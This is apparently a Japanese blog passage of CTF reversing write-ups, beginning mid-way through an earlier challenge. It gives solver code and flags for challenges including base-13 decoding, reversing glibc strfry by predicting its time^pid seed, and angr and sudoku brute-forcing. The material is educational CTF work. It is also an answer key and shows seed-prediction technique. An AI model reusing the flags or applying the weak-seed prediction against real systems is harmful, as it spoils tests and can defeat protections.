  型:                                EXEC (実行可能ファイル)
  マシン:                            Advanced Micro Devices X86-64
  バージョン:                        0x1
  エントリポイントアドレス:          0x400570
  プログラムヘッダ始点:            64 (バイト)
  セクションヘッダ始点:              0 (バイト)
  フラグ:                            0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         0
  Section header string table index: 0

あとはフリーズしてしまう条件分岐を回避しながらgdbでポチポチやればフラグが入手できます.
フラグは忘れちゃいました.

[Rev: 120 pts] A Happy Family

Clam became a parent and had a child. Or at least he dreamed about it. Anyway, clam wrote a program to describe his dream. In fact, he's so happy that he provided source!

  • a_happy_family.c
  • a_happy_family

ありがたいことにソースコードが渡されました.mkfifoを使って名前付きパイプで子プロセスと親プロセスがやり取りしてるっぽいです.
与えられた文字列を4つに分け,strcmpで謎の文字列と比較しているようです.
内容としては,与えられた文字列を偶数文字目と奇数文字目にわけ,偶数文字目は親が,奇数文字目は子が処理をするといった感じです.
またこの文字列の長さは32文字でないといけないようです.
親プロセスは奇数文字目の文字列を8バイト二つに分け,tobase()という関数でなにやら変形させています.
子プロセスも同様に,偶数文字目の文字列を二つにわけてtobase()という感じです.他にも引き算等行われていますが,これは簡単に逆の操作ができるため割愛します.
tobase()関数の処理を読むと,与えられた文字列を13進数に変形しているようです.また各桁に用いられるもの(10進数なら0~9)はこの処理では"angstromctf20"を使うっぽいです.
結局の所13進数を10進数に直せばいいだけなので,初期値0から13をかけて桁の分を足す操作を繰り返しやれば元に戻せます.
注意として,桁として使われる文字にはtが二つ含まれています.そのため片方のtをXに置き換えて,それっぽい文字列を総当りしました.
そるばどぺー

import sys
import re

BASE = 13
basechars = "angstromcXf20"
def getInd(ch):
    for i in range(len(basechars)):
        if basechars[i] == ch:
            return i
    print("getInd(ch) error")
    sys.exit(1)

def revBase(st):
    res = 0
    # print(st)
    for i in st:
        res *= BASE
        res += getInd(i)
    return res

def uloNot(x):
    return 0xffffffffffffffff - x

def uloMinus(x):
    return uloNot(x) + 1

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    l.reverse()
    return "".join(l)

def solve(target):
    return revBase(target)

# n1
n1s = []
t = "artomtf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "artomtf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
t = "artomXf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "artomXf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomtf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomtf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomXf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomXf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
print("n1")
print(n1s)
print()

# n2
n2s = []
t = "ng0fa0mat0tmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
t = "ng0fa0mat0Xmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
t = "ng0fa0maX0tmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
t = "ng0fa0maX0Xmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
print("n2")
print(n2s)
print()

# n3
n3s = []
t = "ngnrmcornttnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
t = "ngnrmcorntXnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
t = "ngnrmcornXtnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
t = "ngnrmcornXXnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
print("n3")
print(n3s)
print()

# n4
n4s = []
t = "a0fn2rfa00tcgctaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00tcgctaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00tcgcXaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00tcgcXaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00Xcgctaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00XcgctaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00XcgcXaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00XcgcXaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
print("n4")
print(n4s)
print()

# n3,n4が奇数番目の文字、n1,n2が偶数番目の文字
#  n3n4
# n1n2  

actf{gre4t_p4r3nt_w1th_4_b3tt3r_ch1ld}

[Rev: 120 pts] Califrobnication

It's the edge of the world and all of western civilization. The sun may rise in the East at least it's settled in a final location. It's understood that Hollywood sells Califrobnication.

  • califrobnication.c
  • califrobnication

ソースコードはフラグをmemfrobしてstrfryするだけでした.
strfryは文字列をランダムに並べ替える関数で,memfrobは文字列の各文字に42をxorするだけです.
とりあえず暗号文がほしいので,angstromのshellにログインして暗号化されたフラグをc2というファイル名でローカル環境にダウンロードしました.
またmemfrobは簡単に解除できるため,先に解除するスクリプトを書きました.

with open("c2", "rb") as f:
    buf = f.read()[len("Here's your encrypted flag: "):-1]
res = ""
for i in buf:
    res += chr(42 ^ i)
print(res)

これでフラグのアナグラムが入手できます.
次にstrfryを解除することを考えるため,glibcのstrfryのソースコードを頑張って読みました.
フィッシャーイェーツ的な処理を行っていて,使用している乱数列さえわかれば結構簡単に逆の操作が行えます.
ただsrand(N)みたいな感じで固定シードで暗号化が行われているわけではないため,strfry内部で擬似乱数のシードを設定することになっています.
というかそもそもstrfryの疑似乱数はrand()とは少し違うため,srand()を使ってもstrfryを呼び出したときはまず乱数の初期化から始まります.
これじゃ乱数の予測は難しいとここで無限に時間を溶かしていました……が,実は簡単に予測できました.
strfryで使われている疑似乱数はrandom_r()というものです.またこの初期化にはinitstate_r()が使われていて,引数にはtime(NULL)^getpid()が与えられています.
ということは,time(NULL)の値とそのプロセスのpidがわかれば予測できちゃいます.
ということで,califrobnicationを実行する直前と直後の次のようなプログラムを走らせれば引数として与えられているパラメータがわかるのです.

#include <stdio.h>
#include <time.h>

int main() {
	printf("%d\n", time(NULL));
	printf("%d\n", getpid());
	return 0;
}

ということで改めてangstromctfのshellでこのプログラムを書き,/tmp/checkerとしてコンパイルし,次のようなコマンドを走らせました.

$ /tmp/checker ; ./califrobnication > /tmp/c2 ; /tmp/checker
1584631992
5393
1584631992
5395

おそらくこの暗号化に使われたtime(NULL)は1584631992,pidは5394だとわかります.
/tmp/c2をscpでダウンロードして先程のmemfrobを解除するコードにかけると,"na{i_t9a5a4d_f5dfim8odofcit}nl1rc1a2a4ofc_b6rc0e" という文字列を得ることができました.
また,timeとpidのxorは1584629162です.
ここまでわかれば次のようなコードで複合することができます.第一引数にtime ^ pidを取ります.

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
	FILE *f;
	char flag[50] = "na{i_t9a5a4d_f5dfim8odofcit}nl1rc1a2a4ofc_b6rc0e";
	strtok(flag, "\n");
	// memfrob(&flag, strlen(flag));
	size_t len = strlen(flag);

	// srand(atoi(argv[1]));
	static int init;
	static struct random_data rdata;
	if(!init) {
		static char state[32];
		rdata.state = NULL;
		initstate_r (atoi(argv[1]), state, sizeof (state), &rdata);
		init = 1;
	}

	int32_t rands[len - 1];
	for(size_t i = 0; i < len - 1; i++) {
		random_r(&rdata, &rands[i]);
		// rands[i] = rand();
	}

	for(int i = len - 2; i >= 0; i--) {
		int32_t j = rands[i];
		j = j % (len - i) + i;
		printf("%d\n", j);

		char c = flag[i];
		flag[i] = flag[j];
		flag[j] = c;
	}

	printf("Here's your encrypted flag: %s\n", &flag);
}

actf{dream_of_califrobnication_1f6d458091cad254}

[Rev: 125 pts] Autorev, Assemble!

Clam was trying to make a neural network to automatically do reverse engineering for him, but he made a typo and the neural net ended up making a reverse engineering challenge instead of solving one! Can you get the flag?

  • autorev_assemble

オートとか言ってるのでangr問かと思ったらangr問でした.
標準入力で文字列を受け取り,それが求めている文字列か判定するタイプのバイナリです.
アセンブルすると大量の比較処理で埋まっていました.ひえー
f:id:mi__tsu:20200320004242p:plain
angrで解きます.そこまで複雑な処理はいらず,本当に典型という感じでした.125ptsとは.
そるばどぺー

import angr

f = "autorev_assemble"

p = angr.Project(f)
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

simgr.explore(find=0x408953, avoid=0x408961)
found = simgr.found[0]
print(found.posix.dumps(0))

actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed}

[Rev: 160 pts] Masochistic Sudoku

Clam's tired of the ease and boredom of traditional sudoku. Having just one solution that can be determined via a simple online sudoku solver isn't good enough for him. So, he made masochistic sudoku! Since there are no hints, there are around 6*10^21 possible solutions but only one is actually accepted!

実行すると空の数独が表示されます.各セルに数字が入力でき,それが求められている入力か判定した後,正しい場合はフラグを出力といった感じでした.
最初の方はcursesのライブラリや数独の画面を表示する準備をするだけの処理なのでほとんど読む必要はないです.
結局リバーシングが必要なのはcheck_flag関数のみでした.
f:id:mi__tsu:20200320004939p:plain
check_flagの最初のほうがgen_valueしてassertが無数に連なっているだけでした.
gen_valueは3つの数を使ってある計算を行い,srand()にそれを与え乱数を初期化した後rand()で一つだけ乱数を出力するといったものでした.
またcheck_flagの処理を読むと,第一引数と第二引数は数独のマスの(x, y)座標が与えられているっぽいです.
また第三引数はその座標の数独の中身の数が与えられるようです.
gen_valueのあとのassertは,gen_valueによって出力された疑似乱数をチェックし,gen_valueに正しい引数が与えられていたかチェックするためのものでした.
ということで自分が求めたいのは数独のマスの中なので,自分でgen_valueを実装しシミュレーションしてどの数が正しいか判定するプログラムを作る必要があります.
こんな感じ.第一引数と第二引数にマスの(x, y)座標を入れ,各マスの中の数に応じてgen_valueを出力してくれます.

#include <stdio.h>
#include <stdlib.h>

int gen_value(int x, int y, int num) {
	srand(((num + x * 100 + y * 10 ^ 0x2aU) * 0xd) % 0x2753);
	return rand();
}

int main(int args, char *argv[]) {
	for(int i = 1; i < 10; i++) {
		printf("%d: %x\n", i, gen_value(atoi(argv[1]), atoi(argv[2]), i));
	}
	return 0;
}

これを使って頑張ってgen_value,assertの処理を追いかけると,次のような数独の盤面を得ることができました.
f:id:mi__tsu:20200320005848p:plain
また,gen_value,assert地獄を抜け出したら次は大量のループが待っていました.
f:id:mi__tsu:20200320010004p:plain
いやーradare2様本当に見やすい.お美しい限りです.
これは結局,各列各行,各ブロックに対して同じ数字がないか見ているだけです.数独としてちゃんとなってるか確認しているってことですね.
ということで空白が合ってはダメなので,得られた数独を解きます.
f:id:mi__tsu:20200320010236p:plain
ということでこれを入力すればフラグが得られます.
actf{sud0ku_but_f0r_pe0ple_wh0_h4te_th3mselves}